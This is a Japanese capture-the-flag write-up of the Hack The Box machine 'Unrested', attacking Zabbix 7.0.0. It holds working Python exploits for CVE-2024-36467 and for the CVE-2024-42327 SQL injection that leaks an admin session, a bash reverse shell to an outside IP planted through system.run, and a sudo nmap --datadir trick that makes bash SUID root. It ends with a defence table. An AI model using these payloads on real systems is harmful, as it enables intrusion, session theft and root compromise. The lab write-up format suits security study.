Hack The BoxのWriteup(Unrested)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Unrested — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/10050/10051
既知資格情報でZabbixログイン
matthew:96qzn0h2e1k3
CVE-2024-36467
user.update で管理者グループへ自己追加
CVE-2024-42327
selectRole SQLi → Admin session直接漏洩
item.create + task.create
system.run[] リバースシェル
zabbix シェル取得
user.txt ✓
sudo nmap –datadir
nse_main.lua 差し替え
root.txt ✓

全ポートスキャン

BASH
nmap -sV -sC -p- --min-rate 3000 -T4 10.129.231.176
RESULT
PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
10050/tcp open  zabbix-agent?
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 57.16 seconds
ℹ️
10050/10051 (zabbix-agent / zabbix-trapper) が開いている時点で Zabbix監視サーバー であることがほぼ確定する。80番のApacheと合わせて調査する。

Webルートの確認

BASH
curl -s -I http://unrested.htb/
curl -s http://unrested.htb/
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0; URL='/zabbix/'" />
</head>
</html>
🚨
ルートが /zabbix/ へ即座にリダイレクトする。/etc/hosts10.129.231.176 unrested.htb を追加してホスト名でアクセスする必要がある。
PHASE 2

Zabbix バージョン確認 & 既知資格情報でログイン

apiinfo.version でバージョン確認

PYTHON
import requests
url = 'http://unrested.htb/zabbix/api_jsonrpc.php'
r = requests.post(url, json={'jsonrpc':'2.0','method':'apiinfo.version','params':{},'id':1})
print(r.json())
RESULT
{'jsonrpc': '2.0', 'result': '7.0.0', 'id': 1}
ℹ️
本ペネトレーションテストは実案件を想定したシナリオとして、 あらかじめ Zabbix の資格情報 matthew / 96qzn0h2e1k3 が付与されている前提で開始する (侵入テストで既知の低権限資格情報を渡されるケースを模したもの)。

user.login で認証

PYTHON
r = requests.post(url, json={
    'jsonrpc':'2.0','method':'user.login',
    'params':{'username':'matthew','password':'96qzn0h2e1k3'},'id':1
})
token = r.json()['result']
RESULT
token = 'ce37a9a1b0a3f5ee7f64377d30e240e7'
ログイン成功。matthew はデフォルトの User ロール であり、 RBAC により user.get / usergroup.get 等の多くの API 呼び出しが ブロックされている状態からスタートする。
PHASE 3

CVE-2024-36467 — user.update 権限チェック欠如による自己昇格

userid の取得 (user.checkAuthentication)

NOTE
デフォルトの User ロールでは user.get がブロックされ、自分の userid すら
直接取得できない。しかし user.checkAuthentication は User ロールでも許可
されているため、これ経由で userid を取得する。
PYTHON
r = requests.post(url, json={
    'jsonrpc':'2.0','method':'user.checkAuthentication',
    'params':{'sessionid':token},'id':1
})
RESULT
{
  "userid": "3", "username": "matthew", "roleid": "1", ...
}

user.update で管理者グループへ自己追加

NOTE
CVE-2024-36467 — CUser::update() の usrgrps パラメータに
権限チェックが存在しないため、認証済みユーザーは (自分のロールに関わらず)
自分自身を任意のユーザーグループへ追加できる。Zabbix administrators の
usrgrpid は本家ウォークスルー記載の既定値 (=7) を使用する
(usergroup.get はブロックされ動的解決できないため)。
PYTHON
r = requests.post(url, json={
    'jsonrpc':'2.0','method':'user.update',
    'params':{'userid':'3','usrgrps':[{'usrgrpid':'7'}]},
    'auth':token,'id':1
})
RESULT
{'jsonrpc': '2.0', 'result': {'userids': ['3']}, 'id': 1}

# 検証 (user.get が使えるようになった = 昇格成功)
[
  {"userid": "1", "username": "Admin",   "usrgrps": [{"usrgrpid": "7", "name": "Zabbix administrators"}]},
  {"userid": "3", "username": "matthew", "usrgrps": [{"usrgrpid": "7", "name": "Zabbix administrators"}]}
]
昇格成功。 matthew は今や Admin (userid=1) と同じ Zabbix administrators グループに所属し、それまでブロックされていた user.get 等が 使用可能になった。ただしこれは ホスト権限グループ であり、matthew 自身の ロール種別 (User) は変わらないため、item.create のような 管理者専用 API はまだ呼べない — 次段で本物の Admin セッションを奪取する必要がある。
PHASE 4

CVE-2024-42327 — selectRole SQLi による Admin セッション奪取

SQLi の存在確認 (time-based blind)

NOTE
CVE-2024-42327 — CUser::get() の selectRole オプションの第2要素以降が
addRelatedObjects 内で未サニタイズのまま DBselect の SELECT句に連結される。
まずは定石通り無条件 SLEEP() で疎通確認する。
PYTHON
payload = {
    'jsonrpc':'2.0','method':'user.get',
    'params':{
        'output':['userid','username'],
        'selectRole':['roleid','name AND (SELECT * FROM (SELECT(SLEEP(5)))a)'],
        'editable':1
    },
    'auth':token,'id':1
}
t0=time.time(); r=requests.post(url, json=payload); print(time.time()-t0)
RESULT
elapsed: 5.4 秒 → SQLi 確認

【重要な発見】算術型変換を悪用した瞬時データ直接漏洩

NOTE
本家 PDF ウォークスルーは time-based blind (1文字ごとに複数回 SLEEP 待機、
32文字の抽出に数十秒かかる) で Admin セッションIDを抽出する手法のみを
紹介している。しかしこのライブ環境では Admin の Zabbix セッションが
数秒〜十数秒という極めて短い周期でローテーションするため、time-based blind
では抽出完了前にほぼ確実にセッションが失効してしまい実用にならなかった
(詳細は Phase 4-3 のトラブルシューティング参照)。

そこで別のアプローチを検証した: selectRole の第2要素は
"SELECT roleid, <ここ> FROM role ..." のSELECT列リストにそのまま連結される。
"name" は文字列型の列だが、これに数値を "+" で加算すると MySQL の緩い
型変換により非数値文字列は暗黙に 0 へキャストされる。つまり
"name + (<数値部分式>)" と注入すれば、部分式の計算結果がそのまま
レスポンス JSON に平文で返ってくる — SLEEP も閾値判定も一切不要。
PYTHON (検証: サブクエリの数値結果を直接読み取る)
payload = {
    'jsonrpc':'2.0','method':'user.get',
    'params':{
        'output':['userid','username'],
        'selectRole':['roleid', 'name + (SELECT COUNT(*) FROM zabbix.sessions)'],
        'editable':1
    },
    'auth':token,'id':1
}
r = requests.post(url, json=payload)
RESULT
{
  "userid": "3", "username": "matthew",
  "role": {
    "roleid": "1",
    "r.name + (SELECT COUNT(*) FROM zabbix.sessions)": "4"
  }
}
ブレークスルー。 サブクエリの戻り値 (zabbix.sessions の行数) が SLEEP無しで即座にレスポンスへ現れた。これを応用し ASCII(SUBSTR((SELECT sessionid FROM zabbix.sessions WHERE userid=1 AND status=0 ORDER BY lastaccess DESC LIMIT 1),<位置>,1)) を32文字分並列リクエストするだけで、Admin セッションID全体を 1秒未満で抽出できるようになった。

トラブルシューティング: time-based blind / sqlmap が失敗した理由

NOTE
[試行1] 自前のマルチスレッド time-based blind 抽出 (32文字×16候補、
        10並列): 抽出完了までに約30秒。この間に Admin セッションが
        ローテーションし、抽出直後に「セッション失効」で失敗。

[試行2] 並列度を40へ引き上げても抽出時間は約13秒までしか短縮できず、
        依然としてセッション寿命に間に合わないケースが発生。

[試行3] sqlmap -r req.txt で自動化を試みたところ、"using 'STDIN' for
        parsing targets list" と表示された直後に何もせず終了する現象に
        遭遇。原因調査の結果、sqlmap は非対話端末 (isatty()==False) で
        実行されると -r で指定した既に妥当なターゲットを無視し、空の
        STDIN から再度ターゲットを読もうとして即座に諦めるという
        既知の挙動 (lib/parse/cmdline.py の isatty 判定) であると判明。
        --ignore-stdin オプションを追加することで解決した。

[試行4] sqlmap 自体は動作するようになったが、time-based の統計モデル
        キャリブレーションを経ても "retrieved:" が常に空文字列になる
        現象が発生。手動の無条件 SLEEP テストで再検証したところ
        matthew のセッション自体が "Session terminated, re-login,
        please." で失効していたことが判明 (トラブルシューティングで
        数時間を要し、Zabbix 側のセッションタイムアウトに達していた)。
        再ログイン後、Phase 4-2 の算術漏洩手法に切り替えて即座に解決。
⚠️
sqlmap をサンドボックス/CI環境など非対話シェルから実行する際は --ignore-stdin を付け忘れると原因不明の即時終了に遭遇する。 また長時間の試行錯誤を挟む場合は、自分自身の認証トークンも タイムアウトしうる点に注意 (定期的な再ログインで対処)。

Admin セッションID の全文抽出 & 検証

PYTHON (20並列で32文字を一括抽出)
from concurrent.futures import ThreadPoolExecutor

def leak_pos(pos):
    expr = (f'name + ASCII(SUBSTR((SELECT sessionid FROM zabbix.sessions '
            f'WHERE userid=1 AND status=0 ORDER BY lastaccess DESC LIMIT 1),{pos},1))')
    payload = {'jsonrpc':'2.0','method':'user.get',
        'params':{'output':['userid','username'],'selectRole':['roleid', expr],'editable':1},
        'auth':token,'id':1}
    r = requests.post(url, json=payload)
    role = r.json()['result'][0]['role']
    return pos, int(list(role.values())[1])

with ThreadPoolExecutor(max_workers=20) as ex:
    results = dict(ex.map(leak_pos, range(1,33)))
session = ''.join(chr(results[p]) for p in range(1,33))
RESULT
admin_session = "18702cdb89b51b9fbb324f3cd47a6723"   (抽出時間 < 1秒)

# host.get で有効性検証
{"result": [{"hostid": "10084", "host": "Zabbix server",
             "interfaces": [{"interfaceid": "1"}]}]}
Admin セッションが有効であることを確認。hostid=10084 (デフォルトの “Zabbix server” ホスト) と interfaceid=1 を取得。
PHASE 5

item.create + task.create による RCE & user.txt 取得

system.run[] キーのアイテムを作成しリバースシェルを仕込む

NOTE
Zabbix Admin 権限があれば item.create で任意ホストに "Zabbix agent" 型の
アイテムを作成できる。key_ に system.run[<コマンド>] を指定すると、
そのホストの zabbix-agent が実際にコマンドを実行する。task.create
(type=6, ZBX_TM_TASK_ITEM_CHECK) を続けて呼ぶことで、アイテムの
通常ポーリング間隔 (delay) を待たずに即時実行をトリガーできる。
PYTHON
# リスナーを先に立てておく (別スレッド/別ターミナル): nc -lnvp 4499

revshell = "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4499 0>&1'"
r = requests.post(url, json={
    'jsonrpc':'2.0','method':'item.create',
    'params':{'name':'rce','key_':f'system.run[{revshell}]','delay':1,
              'hostid':'10084','type':0,'value_type':1,'interfaceid':'1'},
    'auth':admin_session,'id':1})
itemid = r.json()['result']['itemids'][0]

r2 = requests.post(url, json={
    'jsonrpc':'2.0','method':'task.create',
    'params':[{'type':'6','request':{'itemid':itemid}}],
    'auth':admin_session,'id':1})
RESULT
item.create: {'result': {'itemids': ['47183']}}
task.create: {'result': {'taskids': ['1']}}

シェル接続確認 & user.txt 取得

RESULT (nc リスナー側)
[+] shell connected from ('10.129.231.176', 43074)
bash: cannot set terminal process group (4944): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
zabbix
zabbix@unrested:/$ id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)
zabbix@unrested:/$ cat /home/matthew/user.txt
df83f24350f53e8f7b054e41c0879654
user.txt — zabbix (system.run[] RCE)
df83f24350f53e8f7b054e41c0879654
⚠️
作成した item は delay:1 のため、放置すると Zabbix が1秒おきに 自律的に再実行し続ける。後続作業でのポート衝突・ノイズを避けるため、 用済みの item は item.update (status:1) で無効化するか item.delete で削除しておくこと。
PHASE 6

sudo nmap –datadir 悪用 → root.txt

sudo -l で許可コマンドを確認

BASH (zabbix シェル内)
zabbix@unrested:/$ sudo -l
RESULT
Matching Defaults entries for zabbix on unrested:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User zabbix may run the following commands on unrested:
    (ALL : ALL) NOPASSWD: /usr/bin/nmap *
ℹ️
/usr/bin/nmap は実体 (nmap.original) をラップするシェルスクリプトで、 --interactive / --script / -oG / -iL 等の 典型的な GTFOBins 経路は明示的にブロックされている。しかし --datadir (NSEスクリプト等のデータファイル格納先を変更するオプション) は未制限のまま残されている。

悪意ある nse_main.lua を仕込み -sC のデフォルトスクリプト読み込みを乗っ取る

NOTE
-sC (デフォルトNSEスクリプト実行) は、指定された --datadir 配下の
nse_main.lua を自動的にロードして実行する。この nse_main.lua を
os.execute() を呼ぶだけの悪意あるファイルに差し替えたカスタム
datadir を指定すれば、スキャン自体はLua内部エラーで異常終了しても
os.execute() は root 権限 (sudoなので) で実行済みとなる。
BASH (zabbix シェル内)
zabbix@unrested:/$ mkdir -p /tmp/kcrnmap2 && \
  echo 'os.execute("chmod 4755 /bin/bash")' > /tmp/kcrnmap2/nse_main.lua
zabbix@unrested:/$ sudo /usr/bin/nmap --datadir=/tmp/kcrnmap2 -sC localhost
RESULT
Starting Nmap 7.80 ( https://nmap.org ) at 2026-09-22 09:28 UTC
nmap.original: nse_main.cc:619: int run_main(lua_State*): Assertion `lua_isfunction(L, -1)' failed.
bash: [6046: 2 (255)] tcsetattr: Inappropriate ioctl for device
⚠️
スキャン自体は Lua アサーション失敗で異常終了する (エラーメッセージが出るのは想定内・無視してよい)。 重要なのは os.execute("chmod 4755 /bin/bash") がクラッシュに root 権限で実行済みという点。

SUID bash で権限昇格 & root.txt 取得

BASH
zabbix@unrested:/$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=114(zabbix) gid=121(zabbix) euid=0(root) groups=121(zabbix)
8c211ce5e7cb75ea5f53b6258520e2d1
root.txt — euid=0(root) via SUID /bin/bash
8c211ce5e7cb75ea5f53b6258520e2d1
権限昇格成功。 /bin/bash -p-p オプションで SUID/SGIDビットを保持したまま起動し、euid=0 のシェルから root.txt を読み取った。

後片付け

PYTHON
# 作成した item を全て削除し、リバースシェルの自律再実行を止める
requests.post(url, json={'jsonrpc':'2.0','method':'item.delete',
    'params':['47183','47184','47185','47186','47187'],
    'auth':admin_session,'id':1})
ℹ️
検証中に複数回リトライしたため作成された item (rce, rce2, rce3 等) をまとめて削除し、 対象ホストへの継続的な接続試行を停止した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — zabbix (system.run[] RCE)
df83f24350f53e8f7b054e41c0879654
root.txt — euid=0(root) via SUID /bin/bash
8c211ce5e7cb75ea5f53b6258520e2d1

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2024-36467 Zabbix 7.0.0 CUser::update() 権限のない自己グループ昇格 High usrgrps パラメータの権限チェック欠如を悪用し matthew を Zabbix administrators グループへ自己追加
CVE-2024-42327 Zabbix 7.0.0 CUser::get() selectRole SQLインジェクション → 管理者セッション奪取 Critical role.name への算術加算を利用した直接値漏洩 (自主開発手法) で zabbix.sessions から Admin セッションIDを瞬時抽出
sudo NOPASSWD nmap /usr/bin/nmap ラッパースクリプト root権限コード実行 High –script等はブロックされるが –datadir は未制限。nse_main.lua差し替えで -sC 実行時に os.execute() を発火

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポートスキャン22/80/10050/10051、Zabbix監視サーバーと判明
2Zabbix調査apiinfo.version + user.loginv7.0.0、matthew でログイン成功
3権限昇格(横)CVE-2024-36467 user.updateZabbix administrators グループへ自己追加
4SQLiCVE-2024-42327 + 算術漏洩(独自手法)Admin セッションID (1秒未満で抽出)
5RCEitem.create + task.create (system.run[])user.txt 取得 (zabbix シェル)
6権限昇格(縦)sudo nmap –datadir + nse_main.lua差し替えroot.txt 取得 (SUID /bin/bash)

独自の技術的発見 (本家ウォークスルーとの違い)

項目本家ウォークスルー (PDF/ブログ)本レポートでの改良
Admin セッションID抽出 sqlmap または自前 time-based blind SQLi (1文字あたり複数リクエスト+SLEEP、32文字で数十秒) role.name への算術加算による直接値漏洩。SLEEPが一切不要で32文字を1秒未満・20並列で抽出可能。このライブ環境のように Admin セッションの寿命が数秒〜十数秒しかない場合、time-based blind は抽出完了前にほぼ確実に失効するが、この手法なら競合窓を実質ゼロにできる

学んだ教訓 & 防御策

問題点防御策
CUser::update() の usrgrps パラメータに権限チェックが存在しない (CVE-2024-36467) Zabbix を既知の脆弱バージョンから最新版へアップデートする。ユーザーグループ変更操作には必ず呼び出し元の権限レベルを検証する実装が必要。
selectRole 等の addRelatedObjects 経由パラメータが未サニタイズで DBselect に渡る (CVE-2024-42327) プリペアドステートメント/パラメータ化クエリを徹底し、ユーザー入力を直接SQL文字列へ連結しない。WAFによるタイムベース/算術ベースSQLiパターンの検知も補助的に有効。
sudo で nmap をラッパースクリプト越しに NOPASSWD 許可しているが、–datadir 等の危険なオプションが未考慮 sudoers で許可する外部コマンドは GTFOBins 相当の全オプションを精査し、可能な限り許可リスト方式 (ブロックリストでなく) で安全なオプションのみに絞る。root権限が必要な処理はできる限りsudo経由の汎用ツール実行を避け、専用の権限昇格の無いラッパーに限定する。
HackTheBox: Unrested | 完全攻略レポート